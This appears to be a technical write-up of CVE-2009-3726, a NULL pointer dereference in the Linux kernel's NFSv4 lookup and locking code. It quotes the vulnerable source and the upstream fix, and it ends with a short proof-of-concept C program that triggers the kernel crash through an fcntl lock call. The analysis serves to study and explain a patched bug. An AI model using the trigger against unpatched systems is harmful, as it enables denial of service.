CVE-2009-3726: Linux kernel NFSv4 NULL Pointer Dereference

This vulnerability was discovered by Trond Myklebust of NetApp and it affects Linux kernel prior to 2.6.31-rc4 release. Here is the buggy code from fs/nfs/dir.c of 2.6.30 release of the Linux kernel.

const struct inode_operations nfs4_dir_inode_operations = {
       ...
        .lookup         = nfs_atomic_lookup,
       ...
};
       ...
static struct dentry *nfs_atomic_lookup(struct inode *dir, struct dentry *dentry, struct nameidata *nd)
{
        struct dentry *res = NULL;
        int error;
       ...
        /* Open the file on the server */
        res = nfs4_atomic_open(dir, dentry, nd);
        if (IS_ERR(res)) {
                error = PTR_ERR(res);
                switch (error) {
                        /* Make a negative dentry */
                        case -ENOENT:
                                res = NULL;
                                goto out;
                        /* This turned out not to be a regular file */
                        case -EISDIR:
                        case -ENOTDIR:
                                goto no_open;
                        case -ELOOP:
                                if (!(nd->intent.open.flags & O_NOFOLLOW))
                                        goto no_open;
                        /* case -EINVAL: */
                        default:
                                goto out;
                }
        } else if (res != NULL)
                dentry = res;
out:
        return res;
no_open:
        return nfs_lookup(dir, dentry, nd);
}

This lookup function in case of an error returned by nfs4_atomic_open(), it will choose the appropriate return operation based on the error code. If the error code is that of ‘-EISDIR’ (Error Is A Directory) the code will call nfs_lookup() instead of exiting with that error code as return value.
Because of this, the ‘state’ would be NULL and a subsequent attempt to open it will result in a NULL pointer dereference in nfs4_proc_lock() because of this:

static int
nfs4_proc_lock(struct file *filp, int cmd, struct file_lock *request)
{
        struct nfs_open_context *ctx;
        struct nfs4_state *state;
        unsigned long timeout = NFS4_LOCK_MINTIMEOUT;
        int status;
       ...
        if (IS_GETLK(cmd))
                return nfs4_proc_getlk(state, F_GETLK, request);
       ...
        if (request->fl_type == F_UNLCK)
                return nfs4_proc_unlck(state, cmd, request);

        do {
                status = nfs4_proc_setlk(state, cmd, request);
       ...
}

In any of these cases, ‘state’ would be NULL and all of the nfs4_proc_getlk(), nfs4_proc_unlck() and nfs4_proc_setlk() access that pointer without performing any checks for a possible NULL pointer. As Eugene Teo explained in his email to oss-security, since an error occured in the initial lookup, the NFSv4 state will not be updated and consequently, result to a NULL pointer dereference in the above code.
The fix was to rearrange the cases of nfs_atomic_lookup() error code handling in order to simply return the error code in case of ‘-EISDIR’.

                        /* This turned out not to be a regular file */
-                       case -EISDIR:
                        case -ENOTDIR:
                                goto no_open;
                        case -ELOOP:
                                if (!(nd->intent.open.flags & O_NOFOLLOW))
                                        goto no_open;
+                       /* case -EISDIR: */
                        /* case -EINVAL: */

And also update nfs4_proc_lock() to add the missing NULL pointer checks for ‘state’ pointer as you can see below:

        if (request->fl_start < 0 || request->fl_end < 0)
                return -EINVAL;
 
-       if (IS_GETLK(cmd))
-               return nfs4_proc_getlk(state, F_GETLK, request);
+       if (IS_GETLK(cmd)) {
+               if (state != NULL)
+                       return nfs4_proc_getlk(state, F_GETLK, request);
+               return 0;
+       }
 
        if (!(IS_SETLK(cmd) || IS_SETLKW(cmd)))
                return -EINVAL;
 
-       if (request->fl_type == F_UNLCK)
-               return nfs4_proc_unlck(state, cmd, request);
+       if (request->fl_type == F_UNLCK) {
+               if (state != NULL)
+                       return nfs4_proc_unlck(state, cmd, request);
+               return 0;
+       }
 
+       if (state == NULL)
+               return -ENOLCK;
        do {
                status = nfs4_proc_setlk(state, cmd, request);

At last, Jeff Layton coded a small PoC trigger C program which you can find here. This a simple program, here is what it does…

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
	int fd, err;
	struct flock fl = { .l_type	= F_RDLCK,
			    .l_whence	= SEEK_SET };

	fd = open("/proc/self/exe", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "Couldn't open /proc/self/exe: %s\n",
			strerror(errno));
		return 1;
	}

Initializing a ‘flock’ structure for file locking with its type being set at ‘F_RDLCK’ (File Read Lock) and the starting offset to ‘SEEK_SET’ to start from the beginning of the file. It then opens up itself from the PROCFS filesystem using ‘/proc/self/exe’ file as read-only.
Now, the code continues like this…

	err = fcntl(fd, F_SETLK, &fl);
	if (err != 0) {
		fprintf(stderr, "setlk errno: %d\n", errno);
		return 1;
	}

	return 0;
}

The fcntl(2) call will set the read lock to that file and lead to nfs4_proc_lock() function, and specifically, in ‘IS_GETLK(cmd)’ case that will invoke nfs4_proc_getlk() and trigger the pointer dereference of ‘state’ pointer.